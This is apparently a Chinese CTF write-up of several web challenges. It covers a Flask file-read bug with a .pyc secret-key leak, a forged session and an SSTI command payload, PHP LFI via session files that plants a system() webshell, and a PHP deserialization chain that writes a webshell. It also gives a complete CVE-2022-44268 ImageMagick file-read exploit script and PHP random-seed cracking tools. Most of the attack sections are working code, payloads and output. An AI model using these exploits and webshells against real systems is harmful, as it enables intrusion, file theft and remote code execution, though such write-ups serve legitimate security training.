EasyPython
@app.route('/')
def index():
user = {"admin": "guest"}
session["info"] = user # ← 强制设成 guest
return redirect("./source?filename=jinchengshu.jpg")
@app.route('/source')
def show_source():
filename = request.args.get('filename', 'jinchengshu.jpg')
if filename.endswith(".py") or 'flag' in filename or '..' in filename:
return "nononono! ..." + open(__file__).read() # ← 挡 .py / flag / ..
f = "<img src=data:image/jpeg;base64," + base64.b64encode(open(filename,'rb').read()).decode() + ">"
return f # ← 任意文件读!
@app.route('/ssti', methods=['POST','GET'])
def ssti():
info = session["info"]
data = request.form.get("data", "")
if info["admin"] == "admin":
return render_template_string(data) # ← SSTI
else:
return "have one more try young man"
/source 任意文件读 ✓ → 直接读 flag
/ssti 需要伪造 session ✓ → 得先拿 SECRET_KEY
挡住的东西
检查 挡什么
endswith(".py") 读不了源码文件
'flag' in filename 读不了 /flag.txt
'..' in filename 读不了上级目录
第一种方法:绕过:/proc/<pid>/environ
路径里没有 flag、没有 ..、不以 .py 结尾 全过

对base64数据进行解码

第二种方法
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = "yds_is_so_btf"
si = SecureCookieSessionInterface()
cookie = si.get_signing_serializer(app).dumps({"info": {"admin": "admin"}})
# → eyJpbmZvIjp7ImFkbWluIjoiYWRtaW4ifX0.atrGOw.KBHO0KT23IjkYdjuD4PDlbIV9Ao
拿 SECRET_KEY ------ 用 .pyc 绕过 .py 检测
endswith(".py") 挡的是 .py ✗ 但 .pyc 不挡 ✓ 字节码里保留了字符串常量 ✓ 包括 SECRET_KEY ✓
先确定 Python 版本(从 environ 里看到 PYTHON_VERSION=3.5.10 ):
访问http://靶机/source?filename=__pycache__/secret.cpython-35.pyc
拿到 135 字节的 pyc 手工解 marshal:
0000: 17 0d 0d 0a 3c df a0 61 1a 00 00 00 ← pyc 头(magic + mtime + size)
001c: 73 0a 00 00 00 ... ← marshal: 's' + len(10) + bytecode
0031: 5a 0d ← TYPE_INTERNED,长度 0x0d = 13
0033: 79 64 73 5f 69 73 5f 73 6f 5f 62 74 66 ← "yds_is_so_btf"
0044: 29 01 ← co_consts = ('yds_is_so_btf', None)
SECRET_KEY = yds_is_so_btf
用真 Flask 序列化器伪造 cookie
Cookie: session=eyJpbmZvIjp7ImFkbWluIjoiYWRtaW4ifX0.atrGOw.KBHO0KT23IjkYdjuD4PDlbIV9Ao
data={{lipsum.__globals__['os'].popen('id').read()}}
就是这么直接

特别的直接

查看提示

三个关键读数:
期望答案 = md5($key . 计算值 . $key),计算值由 srand(time()) 播种
种子是秒级 ⇒ 同一秒内任何请求生成的期望答案都相同 ← 这正是两步回传可行的根基
$key 被打码成 8 个星号
细节:c == 0 时 PHP 5 除零告警且表达式为 FALSE → $result 退化成 d*e
flag.php 三态分支判读 ← 突破口
输入 响应
GET(无参数) 你的答案呢?
POST answer=test(非 32 位 hex) 我觉得这并不像是答案 ← 纯格式门,无泄漏
POST answer=<32位hex但错> 答案错误</br>emmm我觉得答案是啥呢?<!--<当秒正确md5>-->
POST answer=<当秒正确值> 输出 flag
第三行就是全部
这条路线同时绕开三个死胡同:
不需要知道 $key
不需要本地复现 PHP 5 随机序列
不需要与服务器时钟对齐
import re, time, urllib.request, urllib.parse
U = "http://<实例域名>/flag.php"
def post(a):
d = urllib.parse.urlencode({"answer": a}).encode()
r = urllib.request.urlopen(urllib.request.Request(
U, data=d,
headers={"Content-Type": "application/x-www-form-urlencoded"}), timeout=10)
return r.read().decode(errors="replace")
pat = re.compile(r"(flag|ctf|CTF|FLAG)\{[^}<>\s]*\}")
LEAK = re.compile(r"<!--([a-f0-9]{32})-->")
for i in range(10):
r1 = post("0123456789abcdef0123456789abcdef") # ① 任意 32hex 触发泄漏分支
m = LEAK.search(r1)
if not m:
time.sleep(1); continue
leak = m.group(1)
t0 = time.time()
r2 = post(leak) # ② 同秒内立即回传
print("[%d] leak=%s dt=%.2fs" % (i, leak, time.time()-t0))
fm = pat.search(r2)
if fm:
print("FLAG:", fm.group(0)); break
time.sleep(0.2)
实测输出:
[0] leak=0e2f9065dd688a1ecfec66a4d08cc905 dt=0.07s
FLAG: flag{ef58f0b1e9437b4451248fb3f239622b}
Minesweepe

可以直接玩出来

找出来源码,看到算法
在控制台运行下面这个脚本
const arr = [
'w7bDkcO+wo3Cig3Cq0Q=',
'N8KrS3hvwr5GwrA4XgXCpwo=',
'aFxHw49Ww4bCsMOV',
'fTl2AMKhwphYOxXCl8KEd8O0',
'wpvCvX4eI8K3P8Ke',
'w78YwopFw77DtVrCh27DiRkHw7bDuQ=='
];
function b64ToUtf8(b64) {
const bin = atob(b64);
const bytes = Uint8Array.from(bin, c => c.charCodeAt(0));
return new TextDecoder('utf-8').decode(bytes);
}
function rc4(data, key) {
let s = [...Array(256).keys()];
let j = 0;
for (let i = 0; i < 256; i++) {
j = (j + s[i] + key.charCodeAt(i % key.length)) % 256;
[s[i], s[j]] = [s[j], s[i]];
}
let i = 0;
j = 0;
let out = '';
for (let n = 0; n < data.length; n++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
[s[i], s[j]] = [s[j], s[i]];
const k = s[(s[i] + s[j]) % 256];
out += String.fromCharCode(data.charCodeAt(n) ^ k);
}
return out;
}
const calls = [
[0, '8)D!'],
[1, '2$t7'],
[2, '#Ckz'],
[3, '1vj%'],
[4, '%sR9'],
[5, '@2yf']
];
for (const [idx, key] of calls) {
const cipher = b64ToUtf8(arr[idx]);
console.log('0x' + idx.toString(16), JSON.stringify(rc4(cipher, key)));
}

也可以获取flag
ezinclude

首先测试SSTI
突然发现

上面可以直接查看/etc/passwd
file=php://filter/convert.base64-encode/resource=index.php

来读源码
<?php
session_start();
error_reporting(0); // ← 报错全吞
?>
...(HTML 表单)...
<?php
if (isset($_POST['name'])) {
$_SESSION['name'] = base64_encode($_POST['name']); // ← 存的是 base64
}
if (!empty($_SESSION['name'])) {
echo "...name:".base64_decode($_SESSION['name']);
}
if (isset($_GET['file'])) {
include($_GET['file']); // ← 无过滤 LFI
}
?>
定位 session 文件
SID=eztestsession1234567890
curl -s -b "PHPSESSID=$SID" -d "name=HELLOMARKER" -d submit=1 "http://靶机/" -o /dev/null
for p in "/var/lib/php5/sess_$SID" "/var/lib/php/sessions/sess_$SID" "/tmp/sess_$SID"; do
echo "=== $p ==="
curl -s --get --data-urlencode "file=$p" "http://靶机/" | tail -c 150
done
只有 /tmp/sess_<SID> 返回:
name|s:16:"SEVMTE9NQVJLRVI=";
对齐原理
php://filter/convert.base64-decode 会先丢弃所有非 base64 字符,再按 4 字符一组解码
session 文件内容:
name|s:<len>:"<base64(name)>";
丢掉 | : " ; 后,实际参与解码的是:
names<len><base64(name)>
name 必须够长,让 base64(name) 的长度落在 100~999(三位数)

PAYLOAD = '<?php system($_GET[0]);?>' + '/*' + 'A'*60 + '*/' # 89 字节
# base64 长度 = 120(三位数)→ 前缀 "names120" = 8 字符 → 4 对齐 ✓

[http://42c89dd4.../?file=/tmp/sess_SID](http://42c89dd4.../?file=/tmp/sess_SID "http://42c89dd4.../?file=/tmp/sess_$SID")(我修改为SID=ezpwn00112233445566)

include 时不能带 Cookie
session_start() 会对 session 文件加锁。 第 2 步如果带上同一个 PHPSESSID,include 打开的正是一个被锁住的 session 文件
?file=php://filter/convert.base64-decode/resource=/tmp/sess_ezpwn00112233445566&0=id

成功执行
接下来就是找flag
?file=php://filter/convert.base64-decode/resource=/tmp/sess_ezpwn00112233445566&0=ls

fFf111a4agGGg0_0
?file=php://filter/convert.base64-decode/resource=/tmp/sess_ezpwn00112233445566&0=cat%20fFf111a4agGGg0_0

05-php
<?php
class Check {
定义 Check 类,只有两个静态属性
public static $str1 = false;
Check::$str1:全局开关 1,默认 false
public static $str2 = false;
Check::$str2:全局开关 2,默认 false
}
class Esle {
定义 Esle 类
public function __wakeup()
__wakeup() 在 unserialize() 反序列化对象时自动调用
{
Check::$str1 = true;
把 Check::$str1 设为 true
}
}
class Hint {
public function __wakeup(){
$this->hint = "no hint";
把 $this->hint 强制设置为字符串 "no hint"
}
public function __destruct(){
if(!$this->hint){
如果 $this->hint 为假值(false、0、""、null 等)
$this->hint = "phpinfo";
把 $this->hint 设为 "phpinfo";
($this->hint)();
($this->hint)() 是变量函数调用,等价于执行 phpinfo()
}
}
}
class Bunny {
public function __toString()
定义 Bunny 类,包含魔术方法 __toString()
{
if (Check::$str2) {
判断 Check::$str2
if(!$this->data){
如果为 true,进入利用逻辑
$this->data = $_REQUEST['data'];
如果 $this->data 为空
则从 $_REQUEST['data'] 获取数据。注意 $_REQUEST 包含 GET、POST、Cookie 等
所以可以通过请求参数控制写入内容
}
file_put_contents($this->filename, $this->data);
把 $this->data 写入 $this->filename 指定的文件
} else {
throw new Error("Error");
否则抛出 Error("Error")
}
}
}
class Welcome {
public function __invoke()
定义 Welcome 类,包含魔术方法 __invoke()
{
Check::$str2 = true;
把 Check::$str2 设为 true
return "Welcome" . $this->username;
返回字符串 "Welcome" . $this->username
}
}
class Bypass {
public function __destruct()
定义 Bypass 类,包含魔术方法 __destruct()
{
if (Check::$str1) {
如果 Check::$str1 为真
($this->str4)();
执行 ($this->str4)();
} else {
throw new Error("Error");
如果 $this->str4 是字符串函数名,例如 "system",则调用 system();
如果 $this->str4 是对象且实现了 __invoke(),则调用该对象的 __invoke()
}
}
}
if (isset($_GET['code'])) {
unserialize($_GET['code']);
} else {
highlight_file(__FILE__);
}
反序列化阶段:数据中包含 Esle 对象,触发 Esle::__wakeup(),把 Check::$str1 = true
对象销毁阶段:数据中包含 Bypass 对象,脚本结束销毁对象时触发 Bypass::__destruct()
Bypass::__destruct() 看到 str1 为真,执行 ($this->str4)()
把 Bypass::$str4 设为 Welcome 对象,于是调用 Welcome::__invoke()
Welcome::__invoke() 把 Check::$str2 = true,然后执行 return "Welcome" . $this->username;
把 Welcome::$username 设为 Bunny 对象,字符串拼接触发 Bunny::__toString()
Bunny::__toString() 看到 str2 为真,执行 file_put_contents($this->filename, $this->data)
控制 Bunny::$filename 和 Bunny::$data(或通过 $_REQUEST['data'])即可写文件
?code=a%3A2%3A%7Bi%3A0%3BO%3A6%3A%22Bypass%22%3A1%3A%7Bs%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2Fx.php%22%3Bs%3A4%3A%22data%22%3Bs%3A25%3A%22%3C%3Fphp%20system%28%24_GET%5Ba%5D%29%3B%3F%3E%22%3B%7D%7D%7Di%3A1%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7D%7D

WEB2

只可以上传图片上传php会返回500状态码
了解知识前提
CVE-2022-44268
CVE-2022-44268 是 ImageMagick(及 GraphicsMagick)中一个任意文件读取漏洞
漏洞的根源在于 ImageMagick 解析 PNG 图片 tEXt(文本)数据块时的处理逻辑
在 PNG 图片的 tEXt 块中设置一个特殊的"关键字"为 profile
并将"文本字符串"设置为目标文件的路径(例如 /etc/passwd)
python readviaim.py http://ceb72752e5fe60b7951a2e07.http-ctf2.dasctf.com.http-ctf2.dasctf.com/ /var/www/html/flag.php
# -*- coding: utf-8 -*-
"""CVE-2022-44268 收尾:把目标文件完整还原并打印
用法: python readviaim.py <base_url> <remote_path>
"""
import base64
import binascii
import re
import struct
import sys
import urllib.error
import urllib.request
import zlib
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0"
OP = urllib.request.build_opener(urllib.request.ProxyHandler({}))
BND = "----XyZ12345678"
def req(url, data=None, ctype=None, timeout=180):
h = {"User-Agent": UA}
if ctype:
h["Content-Type"] = ctype
r = urllib.request.Request(url, data=data, headers=h)
try:
with OP.open(r, timeout=timeout) as resp:
return resp.status, resp.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
except Exception as e:
return -1, str(e).encode()
def mp(filename, content, ctype="image/png"):
body = (("--" + BND + "\r\n").encode()
+ ('Content-Disposition: form-data; name="upload"; filename="%s"\r\n' % filename).encode()
+ ("Content-Type: %s\r\n\r\n" % ctype).encode()
+ content + ("\r\n--" + BND + "--\r\n").encode())
return body, "multipart/form-data; boundary=" + BND
def chunk(typ, data):
return struct.pack(">I", len(data)) + typ + data + struct.pack(">I", binascii.crc32(typ + data) & 0xFFFFFFFF)
def make_png(target, w=1, h=1):
ihdr = struct.pack(">IIBBBBB", w, h, 8, 2, 0, 0, 0)
raw = b"".join(b"\x00" + b"\xff\xff\xff" * w for _ in range(h))
return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", ihdr)
+ chunk(b"tEXt", b"profile\x00" + target.encode())
+ chunk(b"IDAT", zlib.compress(raw, 9)) + chunk(b"IEND", b""))
def recover(png):
"""从输出 PNG 的 zTXt(Raw profile type ...) 里还原任意文件内容"""
pos = 8
out = []
while pos + 8 <= len(png):
ln = struct.unpack(">I", png[pos:pos + 4])[0]
typ = png[pos + 4:pos + 8]
payload = png[pos + 8:pos + 8 + ln]
if typ == b"zTXt":
try:
k, rest = payload.split(b"\x00", 1)
dec = zlib.decompress(rest[1:])
if b"Raw profile type" in dec or b"Raw profile type" in k:
# 结构: \n<type>\n<长度>\n<hex 行...>\n
# 只收「长度>=16 且为偶数长度的纯 hex 行」,自动跳过 type 行和长度行
parts = []
for line in dec.split(b"\n"):
s2 = line.strip()
if len(s2) >= 16 and len(s2) % 2 == 0 and re.fullmatch(rb"[0-9a-fA-F]+", s2):
parts.append(s2)
hexs = b"".join(parts)
out.append(binascii.unhexlify(hexs))
except Exception:
pass
pos += 12 + ln
return out
def main():
if len(sys.argv) < 3:
print(__doc__)
return 2
base = sys.argv[1].rstrip("/")
target = sys.argv[2]
body, ct = mp("poc.png", make_png(target))
s, b = req(base + "/", body, ct)
txt = b.decode("utf-8", "replace")
m = re.search(r"base64,([A-Za-z0-9+/=]+)", txt)
if not m:
print("no image, status=%s resp=%dB" % (s, len(b)))
return 1
png = base64.b64decode(m.group(1))
files = recover(png)
print("status=%s out_png=%dB recovered=%d" % (s, len(png), len(files)))
for i, f in enumerate(files):
print("=" * 70)
print("[%d] %d bytes" % (i, len(f)))
print("=" * 70)
sys.stdout.write(f.decode("utf-8", "replace"))
print()
return 0
if __name__ == "__main__":
sys.exit(main())
源码不在 HTTP 响应正文里。ImageMagick 把 tEXt(profile=/var/www/html/flag.php)
当文件名读了进来,写进输出 PNG 的 zTXt 块。脚本做的事就是
上传 → 抠 data:image/png;base64
→ 找 zTXt(key 是 Raw profile type php)→ zlib 解压 → 十六进制还原 → 直接打印到终端
终端应打印 status=200 out_png=763B recovered=1
和 [0] 612 bytes,紧跟 <?php ...;若打印 no image 或 recovered=0,就是实例没开或路径写错

爆破 mt_srand(rand(10000000,99999999)) 的 8 位种子
php .\lottery.php fetch http://ceb72752e5fe60b7951a2e07.http-ctf2.dasctf.com
<?php
/**
* web2 / 在线图片转换器 ------ flag.php 抽卡题
* flag.php 逻辑:
* mt_srand(rand(10000000, 99999999));
* key = mt_rand(); iv = mt_rand();
* echo openssl_encrypt($flag, 'aes-256-cfb', key, 0, iv);
* for(i<roll) echo mt_rand();
* → 用 roll 漏出来的 mt_rand 序列反推 8 位种子,再解 CFB。
*
* 用法:
* php lottery.php fetch <base> 抓一轮,存 evidence/lottery.json
* php lottery.php crack <start> <stop> <t1> <t2> 暴力种子区间 [start,stop)
* php lottery.php dec <seed> <cipher_b64> 解密并打印
*/
$EVID = __DIR__ . '/../evidence';
function fetch_round($base) {
global $EVID;
@mkdir($EVID, 0777, true);
$url = rtrim($base, '/') . '/flag.php?pass=' . rawurlencode('nya_nop_nya~') . '&roll=30';
$ctx = stream_context_create(['http' => [
'header' => "User-Agent: Mozilla/5.0\r\n",
'timeout' => 30,
'ignore_errors' => true,
]]);
$html = file_get_contents($url, false, $ctx);
if ($html === false) { fwrite(STDERR, "fetch failed\n"); exit(1); }
file_put_contents($EVID . '/roll_raw.html', $html);
if (!preg_match('#<nya>\s*你要的flag!</br>\s*(\S+)\s*</br>#u', $html, $m)) {
fwrite(STDERR, "ciphertext not found\n"); exit(1);
}
$cipher = $m[1];
if (!preg_match('#</button></br>\s*([0-9 \r\n]+)#u', $html, $m2)) {
fwrite(STDERR, "roll numbers not found\n"); exit(1);
}
$nums = preg_split('/\s+/', trim($m2[1]));
$nums = array_values(array_filter($nums, 'strlen'));
$rec = ['cipher' => $cipher, 'nums' => $nums, 'ts' => date('c')];
file_put_contents($EVID . '/lottery.json', json_encode($rec, JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT));
echo "cipher = $cipher\n";
echo "nums(" . count($nums) . ") = " . implode(' ', array_slice($nums, 0, 6)) . " ...\n";
return $rec;
}
function crack($start, $stop, $t1, $t2) {
$t0 = microtime(true);
for ($s = $start; $s < $stop; $s++) {
mt_srand($s);
mt_rand(); // key
mt_rand(); // iv
if (mt_rand() === $t1) {
mt_srand($s); mt_rand(); mt_rand(); mt_rand();
if (mt_rand() === $t2) {
printf("FOUND %d (%.1fs, %d..%d)\n", $s, microtime(true) - $t0, $start, $stop);
return $s;
}
}
}
printf("none in [%d,%d) %.1fs\n", $start, $stop, microtime(true) - $t0);
return null;
}
function dec($seed, $cipherB64) {
mt_srand($seed);
$k1 = (string) mt_rand();
$k2 = (string) mt_rand();
echo "mt_rand#1=$k1 mt_rand#2=$k2\n";
$raw = base64_decode($cipherB64, true);
if ($raw === false) { fwrite(STDERR, "bad base64\n"); return; }
echo "cipher bytes = " . strlen($raw) . "\n";
foreach ([['key'=>$k1, 'iv'=>$k2], ['key'=>$k2, 'iv'=>$k1]] as $i => $p) {
$out = openssl_decrypt($raw, 'aes-256-cfb', $p['key'], OPENSSL_RAW_DATA, $p['iv']);
printf("[%d] key=%s iv=%s -> %s\n", $i, $p['key'], $p['iv'],
$out === false ? '(false)' : $out);
}
}
$mode = $argv[1] ?? '';
if ($mode === 'fetch') {
fetch_round($argv[2] ?? '');
} elseif ($mode === 'crack') {
crack((int)$argv[2], (int)$argv[3], (int)$argv[4], (int)$argv[5]);
} elseif ($mode === 'dec') {
dec((int)$argv[2], $argv[3]);
} else {
echo "usage: php lottery.php fetch|crack|dec ...\n";
}


比如说
t1=1763004766
t2=1967314845
php tools/lottery.php crack 10000000 17500000 $t1 $t2 &
php tools/lottery.php crack 17500000 25000000 $t1 $t2 &
php tools/lottery.php crack 25000000 32500000 $t1 $t2 &
php tools/lottery.php crack 32500000 40000000 $t1 $t2 &
php tools/lottery.php crack 40000000 47500000 $t1 $t2 &
php tools/lottery.php crack 47500000 55000000 $t1 $t2 &
php tools/lottery.php crack 55000000 62500000 $t1 $t2 &
php tools/lottery.php crack 62500000 70000000 $t1 $t2 &
php tools/lottery.php crack 70000000 77500000 $t1 $t2 &
php tools/lottery.php crack 77500000 85000000 $t1 $t2 &
php tools/lottery.php crack 85000000 92500000 $t1 $t2 &
php tools/lottery.php crack 92500000 100000000 $t1 $t2 &
wait

php -d extension=openssl lottery.php dec 90285075 VOdqCr7rSqDvtc33grHQgsc9XM/9WbqJRCisxO6cQL56E6AlEZCINl0s

成功获取flag